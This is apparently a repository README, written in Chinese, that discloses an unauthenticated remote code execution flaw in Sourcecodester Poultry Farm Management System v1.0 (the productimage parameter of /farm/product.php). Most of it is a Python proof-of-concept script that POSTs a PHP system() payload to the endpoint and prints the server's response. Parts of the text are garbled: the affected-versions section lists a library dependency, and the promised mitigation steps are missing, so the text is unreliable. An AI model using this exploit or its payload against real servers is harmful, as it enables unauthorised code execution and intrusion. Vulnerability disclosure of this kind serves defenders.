
概念验证脚本,演示通过易受攻击的productimage参数在Sourcecodester家禽养殖管理系统中实现未认证远程代码执行。
本仓库包含一个概念验证(PoC)脚本,演示了 Sourcecodester Poultry Farm Management System v1.0 中一个无需认证的远程代码执行(RCE)漏洞。该漏洞存在于 /farm/product.php 的 productimage 参数中,允许攻击者在服务器上执行任意代码。
CVE-ID:(待定)
概述:
Sourcecodester Poultry Farm Management System v1.0 通过 /farm/product.php 中的 productimage 参数存在一个无需认证的远程代码执行(RCE)漏洞。该漏洞允许攻击者在无需认证的情况下在服务器上执行任意代码。
受影响版本:
requests 库(pip install requests)该脚本演示了攻击者如何通过向易受攻击的参数发送恶意请求来利用 RCE 漏洞。
将以下脚本保存为 rce_poc.py 并运行它。
import requests
# Configuration
target_url = "http://target-url/farm/product.php" # Change this to the target URL
# Malicious payload
# The payload should be a command that the server can execute, e.g., 'ls' to list directory contents
# Here, we are using a simple PHP payload to demonstrate the RCE
payload = "<?php system('ls'); ?>"
# Construct the malicious request
data = {
'productimage': payload # The vulnerable parameter
}
def exploit_rce(url, data):
"""
Exploit the RCE vulnerability by sending a malicious request to the target URL.
Args:
url (str): The target URL.
data (dict): The data to be sent in the POST request.
"""
try:
response = requests.post(url, data=data)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.text)
if response.status_code == 200:
print("[+] Successfully executed the payload.")
else:
print("[-] Failed to execute the payload.")
except requests.RequestException as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
print(f"Sending malicious request to: {target_url}")
exploit_rce(target_url, data)
target_url 设置为易受攻击服务器的 /farm/product.php 端点 URL。productimage 参数中包含恶意 payload。exploit_rce() 函数向目标 URL 发送恶意请求并打印响应详情。为缓解此漏洞,请应用以下步骤:
通过遵循这些缓解措施和安全最佳实践,可以防止 Sourcecodester Poultry Farm Management System v1.0 中出现此类 RCE 漏洞。